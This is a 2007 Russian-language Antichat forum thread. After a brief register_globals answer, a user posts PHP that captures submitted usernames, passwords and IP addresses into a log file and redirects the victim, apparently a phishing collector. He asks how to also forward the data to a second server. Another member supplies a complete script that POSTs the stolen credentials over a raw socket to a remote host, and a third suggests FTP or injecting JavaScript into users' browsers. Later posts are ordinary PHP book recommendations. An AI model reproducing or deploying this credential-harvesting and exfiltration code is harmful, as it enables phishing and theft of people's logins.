ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

29.08.2007, 01:06
|
|
Banned
Регистрация: 06.06.2006
Сообщений: 944
Провел на форуме: 3986705
Репутация:
1403
|
|
типа того =)))))))))))))))))
|
|
|

29.08.2007, 01:18
|
|
Leaders of Antichat - Level 4
Регистрация: 11.11.2005
Сообщений: 391
Провел на форуме: 7084941
Репутация:
2277
|
|
они просто автомотически регистрируваются как глобальные и ты можешь обращатся к ним напрямую $NameVar, а не как обычно $_REQUEST["NameVar"] (хотя так можна обращатся в любом случае)
вот некоторое описание http://www.slaed.biz/ini.core.html#ini.register-globals
вот по теме почитай http://www.phpclub.ru/detail/article/globals
Последний раз редактировалось halkfild; 29.08.2007 в 01:20..
|
|
|

29.08.2007, 05:30
|
|
Познающий
Регистрация: 02.05.2006
Сообщений: 44
Провел на форуме: 122127
Репутация:
9
|
|
народ помогите я уже свои мозги тут перепарел :-/
мне надо сделать так что когда даные отсылали на "dvig.php"
он чтом прописовал в html фаилик у себя на хосте и на другом хосте типа : /logs.html и на http://site2.ru/logsbackup.html
вот пока что у меня тут получилось далше продвинутся с пересилкой никак немогу :-/
PHP код:
<?php
//////////////////////////
$file = ("logs.html");
//////////////////////////
$user = $_POST['username'];
$pass = $_POST['password'];
$ip = $_SERVER['REMOTE_ADDR'];
$date = date("d.m.Y H:i");
$entry_line = "<br>----------<br>
<br>Username: ".$user
."<br> Password: ".$pass
."<br> IP: ".$ip
."<br> Date: " .$date. "<br>\n";
$fp = fopen($file, "a");
fwrite($fp, $entry_line);
fclose($fp);
header( 'Location: confirmation.html' );
?>
|
|
|

29.08.2007, 10:43
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме: 2238549
Репутация:
1318
|
|
Используй такой скрипт:
PHP код:
<?php
// Удалённый серв
define("REMOTE_HOST", "somehost.somedomain");
// Удалённый скрипт (идентичный данному, только на другом сервере)
define("REMOTE_RESOURCE", "blablabla.php");
// Порт - по умолчанию стандарт для HTTP
define("REMOTE_PORT", 80);
$file = "logs.html"; // Имя лога
$date = date("d.m.Y H:i"); // Дата записи
// Инициализация переменной с юзером
$user = "";
if (isset($_POST["username"])) $user = strval($_POST["username"]);
// Инициализация переменно с пассом
$pass = "";
if (isset($_POST["password"])) $pass = strval($_POST["password"]);
// Айпишник юзера
$ip = strval($_SERVER["REMOTE_ADDR"]);
// Форматируем данные для записи
$entry = "<br>----------<br><br>\n";
$entry .= sprintf("Date: %s<br>\n", $date);
$entry .= sprintf("Username: %s<br>\n", $user);
$entry .= sprintf("Password: %s<br>\n", $pass);
$entry .= sprintf("IP: %s<br>\n", $ip);
$fp = fopen($file, "a+"); // Открытие файла
if (!$fp) die("Can't perform operation!"); // Ошибочка
if (!fwrite($fp, $entry)) die("Can't perform operation!"); // Запись
fclose($fp); // Закрытие
// Если в передаваемых переменных отсутствует nosend или
// она не равна true, то вызываем отправку на удалённый сервер.
// Это нам позволит избежать замкнутой цепочки
if (!isset($_POST["nosend"]) || $_POST["nosend"] != "true") {
// Тело запроса
$query = sprintf("username=%s&password=%s&nosend=true", $user, $pass);
// Заголовки запроса + тело
$send = sprintf("POST %s HTTP/1.1\r\n", REMOTE_RESOURCE);
$send .= sprintf("Host: %s\r\n", REMOTE_HOST);
$send .= "User-Agent: DaMaGeLaB Crawler\r\n";
$send .= "Accept: */*\r\n";
$send .= "Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\r\n";
$send .= "Pragma: no-cache";
$send .= sprintf("Content-Length: %d", strlen($query));
$send .= "Connection: Close\r\n\r\n";
$send .= $query;
// Соединяемся
$socket = fsockopen(REMOTE_HOST, REMOTE_PORT, $errno, $errstr, 60);
if (!$socket) die("Can't perform operation!");
// Делаем POST запрос
$ret = fwrite($socket, $send);
if (!$ret) die("Can't perform operation!");
// Читаем ответ
$buffer = "";
while (!feof($socket)) {
$buffer .= fgets($socket, 1024);
}
fclose($socket);
// Парсим на заголовки и тело
list($headers, $content) = preg_split("/\r\n\r\n/", $buffer, 2);
// Если пришла какая-то лажа, то выход
if (strlen($content) <= 0 || strlen($headers) <= 0)
die("Send failed. Responce is not reqular!");
// Получаем код ответа из заголовков
$code = intval(substr($headers, 9, 3));
if ($code != 200) die("Send failed. Responce code is not 200!");
}
header("Location: confirmation.html"); // Перенаправление
?>
Последний раз редактировалось groundhog; 29.08.2007 в 11:07..
|
|
|

29.08.2007, 10:45
|
|
Постоянный
Регистрация: 22.04.2006
Сообщений: 566
Провел на форуме: 1325772
Репутация:
517
|
|
Если хостер позволяет - открывай фтп коннект на нужные тебе хосты и добавляй в файлы данные.
если на тех хостах есть пшп - и твой хостер позволяет переслать на них данные (гет/пост) то шли запрос на аналогичный скрипт.
или же делай это средствами браузера - подсовывай жабаскриптик юзеру и т.п.
|
|
|

29.08.2007, 11:16
|
|
Познающий
Регистрация: 02.05.2006
Сообщений: 44
Провел на форуме: 122127
Репутация:
9
|
|
to : groundhog
ГИГАНТСКОЕ СПОСИБО + РЕПА
|
|
|

29.08.2007, 18:51
|
|
Постоянный
Регистрация: 08.05.2006
Сообщений: 816
Провел на форуме: 1845671
Репутация:
1338
|
|
Вот хочу спросить какую книжку взять почитать по Php, с условием что синтакс знаком и все остальное по С++, а вот технологии пхп-шные именно и нужны... 
|
|
|

29.08.2007, 18:59
|
|
Участник форума
Регистрация: 12.01.2007
Сообщений: 262
Провел на форуме: 4608122
Репутация:
874
|
|
Может вот это подойдет
_http://www.softtime.ru/bookphp/gl1_1.php
|
|
|

29.08.2007, 19:05
|
|
Постоянный
Регистрация: 08.05.2006
Сообщений: 816
Провел на форуме: 1845671
Репутация:
1338
|
|
Red_Red1 Нормальная такая! А то читаю вообще детские, тут чуть получше...
Ещё бы по php безопасности мануальчик подскажите плз...
Последний раз редактировалось xqwerx; 29.08.2007 в 19:42..
|
|
|

30.08.2007, 14:21
|
|
Banned
Регистрация: 03.08.2007
Сообщений: 313
Провел на форуме: 951141
Репутация:
291
|
|
#стер
xqwerx
тут прям на чате выкладывали про безопасность...
Последний раз редактировалось inv; 30.08.2007 в 15:06..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|